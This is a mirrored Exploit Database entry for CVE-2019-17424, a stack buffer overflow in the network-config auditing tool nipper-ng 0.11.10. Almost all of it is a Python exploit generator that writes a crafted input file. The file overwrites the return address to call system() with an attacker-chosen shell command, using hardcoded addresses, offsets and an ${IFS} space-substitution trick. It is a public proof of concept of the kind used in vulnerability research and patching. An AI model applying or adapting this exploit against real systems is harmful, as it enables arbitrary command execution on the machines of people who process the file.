nipper-ng 0.11.10 – Remote Buffer Overflow (PoC)

• Exploit Database
• 19 阅读

• 作者： Guy Levin
  日期： 2019-11-18
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47673/

• # Exploit Title: nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)
  # Date: 2019-10-20
  # Exploit Author: Guy Levin
  # https://blog.vastart.dev
  # Vendor Homepage: https://tools.kali.org/reporting-tools/nipper-ng
  # Software Link: https://code.google.com/archive/p/nipper-ng/source/default/source
  # Version:0.11.10
  # Tested on: Debian
  # CVE : CVE-2019-17424
  
  """
  Exploit generator created by Guy Levin (@va_start - twitter.com/va_start)
  Vulnerability found by Guy Levin (@va_start - twitter.com/va_start)
  
  For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post
  https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html
  
  may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems
  """
  
  import sys
  import struct
  
  def pack_dword(i):
  return struct.pack("<I", i)
  
  def prepare_shell_command(shell_command):
  return shell_command.replace(" ", "${IFS}")
  
  def build_exploit(shell_command):
  EXPLOIT_SKELETON = r"privilage exec level 1 " \
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " \
  "aasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaab " \
  "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacca " \
  "acdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac " \
  "uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadma " \
  "adnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaae " \
  "faaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewa " \
  "aexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaaf " \
  "paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaagha " \
  "agiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag " \
  "zaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahra " \
  "ahaaaataahuaahvaahwaahpaaaaaaazaaibaaicaaidaaieaaifaaigaaihaaiiaaijaai " \
  "kaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca " \
  "ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaaj"
  
  WRITEABLE_BUFFER = 0x080FA001
  CALL_TO_SYSTEM = 0x0804E870
  COMMAND_BUFFER = 0x080FA015 
  
  OFFSET_FOR_WRITEABLE_BUFFER = 0x326
  OFFSET_FOR_RETURN = 0x33a
  OFFSET_FOR_COMMAND_BUFFER = 0x33e
  
  OFFSET_FOR_SHELL_COMMAND = 0x2a
  MAX_SHELL_COMMAND_CHARS = 48
  
  target_values_at_offsets = {
  WRITEABLE_BUFFER : OFFSET_FOR_WRITEABLE_BUFFER, 
  CALL_TO_SYSTEM : OFFSET_FOR_RETURN, 
  COMMAND_BUFFER : OFFSET_FOR_COMMAND_BUFFER
  }
  
  exploit = bytearray(EXPLOIT_SKELETON, "ascii")
  
  # copy pointers
  for target_value, target_offset in target_values_at_offsets.items():
  target_value = pack_dword(target_value)
  exploit[target_offset:target_offset+len(target_value)] = target_value
  
  # copy payload
  if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
  raise ValueError("shell command is too big")
  shell_command = prepare_shell_command(shell_command)
  if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
  raise ValueError("shell command is too big after replacing spaces")
  
  # adding padding to end of shell command
  for i, letter in enumerate(shell_command + "&&"):
  exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter)
  
  return exploit
  
  def main():
  if len(sys.argv) != 3:
  print(f"usage: {sys.argv[0]} <shell command to execute> <output file>")
  return 1
  
  try:
  payload = build_exploit(sys.argv[1])
  except Exception as e:
  print(f"error building exploit: {e}")
  return 1
  
  open(sys.argv[2], "wb").write(payload)
  
  return 0 # success
  
  if __name__ == '__main__':
  main()